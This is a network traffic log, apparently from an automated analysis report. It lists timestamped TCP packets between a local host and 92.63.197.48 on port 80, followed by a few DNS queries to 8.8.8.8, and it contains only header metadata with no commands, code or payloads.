Oct 30, 2018 14:46:01.648829937 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.648854017 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.648866892 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.648910046 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.648935080 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.648947001 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.648961067 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.649010897 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.649024010 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.649035931 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.649060011 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.649084091 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.649107933 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.649107933 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.649156094 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.649182081 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.649205923 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.649229050 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.649229050 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.649264097 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.649302959 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.649327993 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.649332047 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.649352074 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.649375916 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.649399996 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.649424076 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.649437904 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.649447918 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.649471998 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.649496078 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.649519920 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.649519920 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.649544001 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.649568081 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.649590969 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.649615049 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.649616003 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.649640083 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.649663925 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.649720907 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.650733948 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.704715967 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.704752922 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.704773903 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.704804897 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.704848051 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.704871893 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.704875946 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.705010891 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705056906 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705081940 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705106020 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705117941 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.705141068 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705164909 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705188990 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705214977 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.705249071 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705288887 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705313921 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705327034 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.705338001 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705363035 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705387115 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705408096 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705415010 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.705432892 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705456972 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705481052 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705504894 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705521107 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.705528975 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705554008 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705578089 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705601931 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705605030 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.705626965 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705651045 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705674887 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705697060 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.705698967 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705724001 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705748081 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705771923 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705795050 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705801964 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.705816984 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705841064 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705864906 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705892086 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705904007 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.705915928 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705940008 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705964088 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705987930 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.705991030 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.708997011 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.711247921 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.759588957 CET	59138	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:46:01.761084080 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.761147976 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.761198044 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.761234999 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.761245966 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.761296034 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.761322975 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.761351109 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.761392117 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.761394978 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.761421919 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.761491060 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.761492968 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.761535883 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.761560917 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.761584997 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.761609077 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.761617899 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.761632919 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.761657953 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.761682034 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.761704922 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.761706114 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.761730909 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.761754990 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.761779070 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.761802912 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.761827946 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.761827946 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.761852980 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.761877060 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.761900902 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.761924982 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.761929035 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.761950016 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.761974096 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.761997938 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.762022018 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.762022972 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.762047052 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.762070894 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.762094975 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.762120008 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.762130022 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.762144089 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.762168884 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.762192011 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.762217045 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.762217999 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.762243032 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.762267113 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.762290955 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.762314081 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.764153004 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.764194965 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.764216900 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.764297009 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.764431000 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.787024975 CET	53	59138	8.8.8.8	192.168.1.81
Oct 30, 2018 14:46:01.817383051 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.817471027 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.817493916 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.817531109 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.817564011 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.817578077 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.817598104 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.817647934 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.817682028 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.817706108 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.817728996 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.817742109 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.817753077 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.817776918 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.817800045 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.817823887 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.817823887 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.817847967 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.817871094 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.817915916 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.817931890 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.817949057 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.817974091 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.818006992 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.818030119 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.818031073 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.818069935 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.818094015 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.818118095 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.818152905 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.818164110 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.818202972 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.818214893 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.818236113 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.818298101 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.818305016 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.818322897 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.818346977 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.818370104 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.818393946 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.818406105 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.818417072 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.818442106 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.818465948 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.818487883 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.818490028 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.818515062 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.818537951 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.818562031 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.818588018 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.818589926 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.818612099 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.818706036 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.819240093 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.819278955 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.819303036 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.819308043 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.819327116 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.819406986 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.824068069 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.873806953 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.873881102 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.873910904 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.873929977 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.873964071 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.873985052 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.873991013 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.874006033 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874042034 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874080896 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874124050 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.874135017 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874177933 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874200106 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874201059 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.874242067 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874275923 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874304056 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874336958 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.874357939 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874387980 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874408007 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874427080 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874433994 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.874447107 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874475002 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874500990 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874516010 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.874521017 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874567986 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874597073 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874622107 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874633074 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.874640942 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874660015 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874679089 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874699116 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874717951 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874725103 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.874737024 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874758959 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874778032 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874797106 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874815941 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874819994 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.874838114 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874857903 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874876976 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874897003 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874902964 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.874933958 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874958038 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874975920 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.874999046 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.875004053 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.875026941 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.875047922 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.875067949 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.875107050 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.875536919 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.929933071 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.929990053 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.930010080 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.930027962 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.930047989 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.930079937 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.930109024 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.930131912 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.930147886 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.930162907 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.930192947 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.930214882 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.930283070 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.930305004 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.930320978 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.930344105 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.930365086 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.930386066 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.930413008 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.930413961 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.930435896 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.930457115 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.930505037 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.930515051 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.930561066 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.930619001 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.930653095 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.930666924 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.930675030 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.930696011 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.930732965 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.930741072 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.930766106 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.930794954 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.930824041 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.930836916 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.930845976 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.930907965 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.930928946 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.930967093 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.930988073 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.930990934 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.931010008 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.931030035 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.931051016 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.931072950 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.931076050 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.931118965 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.931140900 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.931162119 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.931188107 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.931209087 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.931210995 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.931231022 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.931252003 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.931272984 CET	80	51992	92.63.197.48	192.168.1.81

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2018 14:44:00.446213007 CET	63349	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:00.523699045 CET	53	63349	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:01.040843010 CET	58984	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:01.112970114 CET	53	58984	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:01.611397028 CET	58452	53	192.168.1.81	8.8.8.8
